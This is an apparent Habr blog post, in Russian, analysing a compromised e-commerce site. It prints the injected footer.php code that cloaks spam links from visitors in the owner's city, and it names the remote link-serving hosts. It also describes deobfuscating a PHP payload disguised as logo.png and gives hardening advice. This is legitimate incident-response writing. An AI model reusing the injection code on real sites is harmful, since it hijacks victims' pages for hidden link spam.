В середине июня текущего года ко мне обратился владелец интернет-магазина часов, который заметил в футере своего сайта «левые ссылки», которых там быть не должно и ранее не наблюдалось.
Сайт крутится на одной коммерческой CMS написанной на php, достаточно популярной, но немного (много?) «кривой». Кривость заключается в смешении логики и представления, хранении части кода в бд и последующем исполнении через eval, использовании plain-sql запросов и прочих радостей, «облегчающих» жизнь программистов. Исходный код CMS способен ввергнуть в трепетный ужас даже искушенного кодера: многокилометровые функции с множеством условий не меньшей длины, глобальные переменные, eval-ы и куча других прелестей поджидают заглянувшего сюда смельчака. Несмотря на ужасную программную архитектуру, админка CMS достаточна продумана — создается впечатление, что ТЗ на систему писал профи, а реализовывал студент. Узнали используемую вами CMS? Сочувствую…
Заглянув в основной шаблон сайта, я сразу обнаружил подключение в футере подозрительного скрипта:
include("/path/to/script/footer.php"); Исходный код скрипта footer.php:
function geo_info($ip) { $ch = curl_init (); curl_setopt ($ch , CURLOPT_URL , "http://ip-whois.net/ip_geo.php?ip=" .$ip); curl_setopt ($ch , CURLOPT_USERAGENT, "Mozilla/5.0 (MSIE 9.0; Windows NT 6.1; Trident/5.0)"); curl_setopt ($ch , CURLOPT_RETURNTRANSFER , 1 ); $content = curl_exec($ch); $contentutf8 = iconv("windows-1251","utf-8", $content); curl_close($ch); preg_match_all('#Город: (.*)";#isU', $contentutf8, $city8); preg_match_all('#Город: (.*)";#isU', $content, $city1251); return @$city1251[1][0]; } $city = geo_info($_SERVER['REMOTE_ADDR']); //$city = geo_info($_SERVER['HTTP_X_FORWARDED_FOR']); if ($city != "Екатеринбург") { echo '<!--s_links--><!--check code--><!--/s_links--> <div style="margin:0 auto; width:1024px; font-size:11px">'; require_once($_SERVER['DOCUMENT_ROOT'].'/path/to/script/logo.png'); $o['fetch_remote_type'] = 'socket'; $o['host'] = 'example.ru'; $o['charset'] = 'utf8'; $trustlink = new TRUSTLINK_client($o); unset($o); echo $trustlink->return_links(); echo '</div>'; } Было очевидно, что это вредоносный код и что сайт используется в качестве площадки для размещения платных ссылок. Причем взломщики позаботились о том, чтобы владельцы сайта не увидели левых ссылок: ссылки отображались для всех, кроме посетителей с IP Екатеринбурга (сайт находится в регионе Екатеринбург). Как же владельцам сайта удалось увидеть ссылки? Оказалось что сервис, который злоумышленники использовали для определения города по IP, просто перестал работать. Точнее начал выдавать 404 ошибку (тест: ip-whois.net/ip_geo.php?ip=212.104.72.58)
Убрав из шаблона вредоносный инклуд, я принялся за файл logo.png, который был конечно никакой не картинкой, а самым настоящим php-кодом. Исходник logo.png: pastebin.com/cTsgW2RU.
Видим что скрипт закодирован и сжат и два вызова:
eval(gzuncompress(base64_decode(...
Вспоминаем про двигатель прогресса, идем в гугл и первой ссылкой находим замечательный сервис: www.whitefirdesign.com/tools/deobfuscate-php-hack-code.html
Выбираем там тип обфускации eval(gzuncompress(base64_decode(, вставляем содержимое функций и получаем на выходе php-код: pastebin.com/mnzhjg5c. Вот только понять по такому коду, что именно здесь происходит, невозможно. Но при этом прекрасно видно что для декодирования используется функция _527006668. Для начала я привел в читамый вид массив $a внутри функции _527006668. В этом мне помог var_export (http://pastebin.com/DKk3X5tz):
$b = array(); $count = count($a); for ($i = 0; $i < $count; $i++){ $r = base64_decode($a[$i]); $b[$i] = $r; } var_export($b); Получился достаточно длинный массив: pastebin.com/xyqJVfmV
После этого я набросал простенький декодер, заменяющий все вызовы функции _527006668 на соответствующий элемент массива $a: pastebin.com/RxVyACiS
Результат прогнал через phpbeautifier.com: pastebin.com/wvw1mJA5
Теги <sape_noindex> как бы намекают, поэтому я пошел на сайт sape.ru, скачал их API для вебмастера и обнаружил, что наш зловред это немного модифицированный код sape. А конкретно, были заменены названия классов, названия файлов и список серверов, с которых скрипт получал ссылки.
Список серверов зловреда:
- dispenser-01.strangled.net
- dispenser-02.us.to
- dispenser.amursk-rayon.ru
Первые два используются для вывода обычных и контекстныхх ссылок, третий для вывода статей. Все три сайта находятся на доменах третьего уровня, и меня заинтересовало, что это за домены такие. Я прогнал их через сервис who.is и получил список DNS-серверов доменов.
Проверка dispenser-01.strangled.net и dispenser-02.us.to:
ns1.afraid.org 50.23.197.95 ns2.afraid.org 208.43.71.243 ns3.afraid.org 69.197.18.162 ns4.afraid.org 70.39.97.253
Обратите внимание на dns сервера домена — они принадлежат сервису freedns.afraid.org, который позволяет бесплатно создавать домены третьего уровня на доменах, владельцы которых зарегистрированы на этом сервисе. А вот dns сервера третьего сайта (amursk-rayon.ru) принадлежат nic.ru, который услуг по free dns не предоставляет. Отсюда следует интересный вывод: либо у администрации Амурского муниципального района увели пароли/собственно аккаунт на nic.ru, либо кто-то из тех. амурского поддержки сайта заодно со злоумышленниками. Второе мне кажется менее вероятным: мало кто станет так себя подставлять.
На этом исследование зловреда было решено прекратить, но желаю узнать, не сталкивался ли кто-то еще с подобной проблемой, я пошел и загуглил "TRUSTLINK_client". Гугл нашел 4 сайта на которых TRUSTLINK_client сломался и php вывел сообщение об ошибке. Сколько сайтов взломано и исправно работает, принося прибыль владельцам зловреда и убытки своим хозяевам остается только догадываться.
Оставалось выяснить, каким путем вредоносный код попал на сайт. Изначально у меня было три гипотезы:
- владельцы сайта посеяли пароли от ftp/ssh (вирус на компьютере, попадание в паблик и т.п.)
- подбор паролей к ftp/ssh перебором
- уязвимость в ПО сервера
Первую гипотезу я проверить не мог, поэтому принялся за вторую. Несмотря на мои скромные познания в администрировании *nix, искать подтверждения гипотезы долго не пришлось. Запустив grep «failed» по файлу /var/log/auth.log я обнаружил строки вида: «Failed password for root from ». Всего 2126 вхождения. Попытки подключения осуществлялись с разных IP-адресов — по несколько попыток с каждого. А также более 3500 строк вида: «Failed password for invalid user». Попытки подключения продолжались и после появления вредоносного кода, поэтому я предположил что ssh пароль злоумышленникам подобрать не удалось. Оставался ftp.
На сервере был установлен twoftpd. Его логи лежали по адресу /var/log/twoftpd. Вот только формат логов был мне не особо понятен.
Несколько файлов вида @4000000052732ee229ea33a4.s и файл current. Ок, решил я, current это очевидно текущий лог, открываем:
@400000005367fb3614060f7c tcpsvd: info: status 1/100 @400000005367fb361407402c tcpsvd: info: pid 19184 from 199.192.159.93 @400000005367fb361407961c tcpsvd: info: concurrency 19184 199.192.159.93 1/10 @400000005367fb361407a5bc tcpsvd: info: start 19184 localhost:<local IP> ::199.192.159.93:3745 @400000005367fb37187e7c24 tcpsvd: info: end 19184 exit 0 @400000005367fb37187e9394 tcpsvd: info: status 0/100 @400000005367fb3726f20a14 tcpsvd: info: status 1/100
Где привычная дата/время? Непонятно…
Открыл лог-файл вида @<цифры-буквы-бла-бла-бла>.s:
@40000000527270a4368eed34 tcpsvd: info: pid 11169 from 94.141.36.101 @40000000527270a4368f4edc tcpsvd: info: concurrency 11169 94.141.36.101 11/10 @40000000527270a4368f5e7c tcpsvd: info: deny 11169 localhost:<local IP> ::94.141.36.101:58879 @40000000527270a43690316c tcpsvd: info: end 11169 exit 100 @40000000527270a43690410c tcpsvd: info: status 10/100 @40000000527270a524e8249c tcpsvd: info: status 11/100
Похоже на попытки подбора пароля, но уверенности нет. Быстрое гугление по формату лог-файла результата не принесло. Спрашивать у знатоков на форумах было лень, поэтому решил просто принять как аксиому предположение о том, что был подобран пароль к ftp.
Итак, вредоносный код вычищен, осталось обезопасить себя от попыток подбора паролей в будущем:
- отключаем в ssh авторизацию по паролю и включаем по ключу — оно и удобнее значительно
- ftp отключать нельзя, поэтому просто меняем/удаляем логины со «стандартными» именами и ставим пароли посложнее
- не забываем периодически менять пароли от ftp
Чего я не сделал, но следовало бы? По хорошему следовало бы отключить ftp, а вместо него использровать sftp. Но на сайт выгружают данные сторонние программы, которые ничего кроме ftp не умеют. Еще следовало бы завести код на сайте под git. Но в условиях, когда немалая часть кода хранится в БД, это не спасет от несанкционированного измения кода.
Возможно я упустил что-то еще, буду рад любым предложениям и конструктивной критике. И да пребудут ваши сервера в безопасности! И да не взломает вас хакер!
ссылка на оригинал статьи http://habrahabr.ru/post/228559/
Добавить комментарий